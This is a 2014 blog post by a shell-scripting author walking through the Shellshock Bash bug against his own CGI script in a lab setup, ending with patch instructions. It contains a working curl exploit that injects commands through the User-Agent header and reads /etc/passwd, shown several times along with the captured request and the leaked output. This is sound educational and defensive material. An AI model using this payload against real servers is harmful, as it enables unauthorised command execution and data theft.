Shellshock - A Worked Example

The big story this week (26th September 2014) is the so-called "Shellshock" bug in GNU's very popular Bash shell. There is a lot of hype and a lot of inaccurate reporting being published about it, so I wanted to investigate further. One of the most obvious attack vectors is a Bash-based CGI script. This is explioitable, as we shall see, though they are also pretty rare things - some of the most immediately obvious reasons for not using Bash for this task are:

  • It's not built with network security in mind
  • It's not fast
  • It's not intuitive - parsing QUERY_STRINGS, sending headers, and so on
  • Other languages are readily available without these limitations

Still, for my book, Shell Scripting - Expert Recipes for Linux, Bash and more, I did include a CGI script written in Bash, mainly to show that whilst not the obvious choice, it can be done.

So I am interested to see how vulnerable, and how easily explotable, such a CGI script is. It's a "real world" example in that it's taken from a published book, but it's also mine - I wrote it, so it feels like a valid script for me to exploit, for demonstration purposes.

The Disclaimer

Why on earth would I be so lax as to suggest to my readers that they would want to set up such a system? Well, I really didn't. From the introduction to the section:

On today’s Internet, CGI scripts need to be extremely robust and secure because anybody who can trick the script into doing something out of the ordinary can execute code on the web server with the permissions of the user account that runs the script. More complex systems such as PHP add more bloat and can hide the underlying details of what is happening, but they do add some additional security protection. For debugging problems with these more complicated systems, or in trusted or very simple environments, the shell can also be used for CGI scripts.

Each Recipe also includes a "Potential Pitfalls" section. Here I said:

The main pitfall when processing user-submitted data is security. If you can avoid this pitfall, such as when testing local and entirely trusted systems, then using the shell as a debugging tool can be an excellent time-saver as it cuts out any complicated third-party bloat. As discussed in the GET section below, and shown in Figure 16-5, editing the Location bar can be used to extract potentially sensitive data from the web server. Users can also direct telnet sessions at port 80 of your web server and send any kind of data that they choose directly to your CGI script, either in the QUERY_STRING variable (for GET requests) or in standard input (for POST requests). It can be very difficult for an administrator to secure against any possible attack, as has been shown over time, as CGI scripts have been attacked in a variety of ways. Ideally, a CGI script will know exactly what inputs it expects, and discard any other input without ever processing it. In practice, this is not often possible, so all input data must be treated as potentially malicious.

In the "GET" section, I discuss various ways of exploiting this simple script, and point out that:

Once you can get a remote server to interpret code on your behalf, you can pretty much control everything about it. This information is not secret, but this is not the place to provide any further examples — this is not a systems security book.

In Figure 16-5, I show a successful attack (not using "Shellshock", but simply tricking the CGI script in other, less subtle ways) to further highlight the dangers of using Bash (or any shell) for such a function. In the "Summary" section, I point out that unauthenticated CGI, in any form, is inherently risky:

CGI is a useful tool, but it was designed with the assumption of a reasonably trustworthy Internet.

The Setup

The CGI script is very easy to set up - I've taken a CentOS 6.5 (functionally the same as Red Hat Enterprise Linux 6.5) system, but it could be any operating system with Bash and Apache. From a base install, and with one HTML file, and one CGI script, which can be downloaded from the links in steps 2 and 3, simply follow these four steps:

  1. # yum -y install httpd
  2. # cp index.html /var/www/html
  3. # cp hello.cgi /var/www/cgi-bin
  4. # service httpd start

Now, I can browse to the site, enter some test data, and press "Submit Form":

Screenshot of the initial form

The web server responds by passing my input text to the CGI script, hello.cgi, which creates a web page telling me what I had entered:

Screenshot of the initial form

That's all as advertised, but what about this "Shellshock" bug? Well, when we send the request to the web server, Wireshark shows that the actual request looks like this:

GET /cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on HTTP/1.1
Host: example.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Referer: http://example.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6

All of that data is sent to Apache, which passes it on to the CGI script, which is processed by Bash. Those headers would be set as environment variables. (The initial GET string is given the special variable name ${QUERY_STRING}). To keep things simple, I'll repeat this with the curl tool, simply because it's easier to show that we are spoofing the data we send to the web server. We can send the full query string that we used before, and get exactly the same response. curl does not parse the HTML for us, so we see the HTML code directly.

$ curl "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on"
<html>
<head><title>Hello There!</title></head>
<body>
<h1>Hello There!</h1>
You said: one=hello+world&two=are+you+shellshocked%3F&check2=on
<hr/>
one is hello world
<br/>
two is are you shellshocked%3F
<br/>
check1 is not set<br/>
check2 is set<br/>
check3 is not set<br/>
<hr/>
one is hello world
<br/>
two is are you shellshocked%3F
<hr/>
</body>
</html>

From this point, we can repeat the test with a spoofed User-Agent string. We could also add other headers, but this is the simplest test. The -A switch to curl sets the User-Agent string.

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on"

Now Wireshark shows the request, and the output from the CGI script. The User-Agent line is highlighted below.

GET /cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on HTTP/1.1
User-Agent: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd
Host: example.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 11:45:39 GMT
Server: Apache/2.2.15 (CentOS)
"Content-type: text/plain"
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
.... and so on ...

Now, what the attacker sees is the following:

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on"

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin

We have tricked the CGI script into executing a set of commands for us:

  1. echo "Content-type: text/plain"
  2. echo
  3. echo
  4. /bin/cat /etc/passwd

This is the "Shellshock" bug. Bash sees the User-Agent string and parses it:

User-Agent: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd

Bash parses "() { test; };" and sees that it is a function definition. Unfortunately, the function definition parser, which should stop at this point, as the function is now fully defined, goes on to parse the rest of the line as well. So the output given to the attacker is the output of the harmless echo commands, which are just for formatting, followed by the command /bin/cat /etc/passwd. This displays a list of the accounts on the system, and much information about them.

Taking it Further

Once we've got this far, we can run any command that the web server can run. So we can't do rm -rf /, or cat /etc/shadow, but we can quite possibly deface the website itself, and find out a lot about the server. There are reports of installing bots on servers. This is a good example of why filtering outbound packets is a sensible precaution, as well as filtering inbound packets.

It is important to note there that although a Bash CGI script like this is very uncommon, other things can also be vulnerable - if a Perl script runs system("/bin/mkdir /data/files/foo");, that will also be interpreted by the shell. If that shell is Bash, it could be vulnerable to similar exploits.

Safe Again

The fix is simple enough - upgrade to a version newer than today (Friday 26th September 2014). On Red Hat based systems, yum upgrade bash will upgrade you to the most current available version; on Debian based systems, apt-get install --only-upgrade bash. For Red Hat details, see Red Hat Errata, for Debian, see Debian Security. For Ubuntu, see Ubuntu Security Notices. After this simple fix, the exploit fails to work:

$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on"
<html>
<head><title>Hello There!</title></head>
<body>
<h1>Hello There!</h1>
You said: one=hello+world&two=are+you+shellshocked%3F&check2=on
<hr/>
one is hello world
<br/>
two is are you shellshocked%3F
<br/>
check1 is not set<br/>
check2 is set<br/>
check3 is not set<br/>
<hr/>
one is hello world
<br/>
two is are you shellshocked%3F
<hr/>
</body>
</html>

About Steve Parker

Steve Parker is the author of the Shell Scripting Tutorial freely available on this site, also available on Kindle and as a Paperback book, of Shell Scripting - Expert Recipes for Linux, Bash and more, a 600-page book on Shell Scripting, as well as other Unix/Linux-based publications. See http://steve-parker.org/publications/ for the full list of publications.

Steve is also the maintainer of the Shell Scripting page on Facebook. "Like" this page for more updates on Shell Shock and other Shell Scripting topics, by clicking the "Like" button below:

Shellshock - A Worked Example
Share on Twitter Share on Facebook Share on LinkedIn Share on Identi.ca Share on StumbleUpon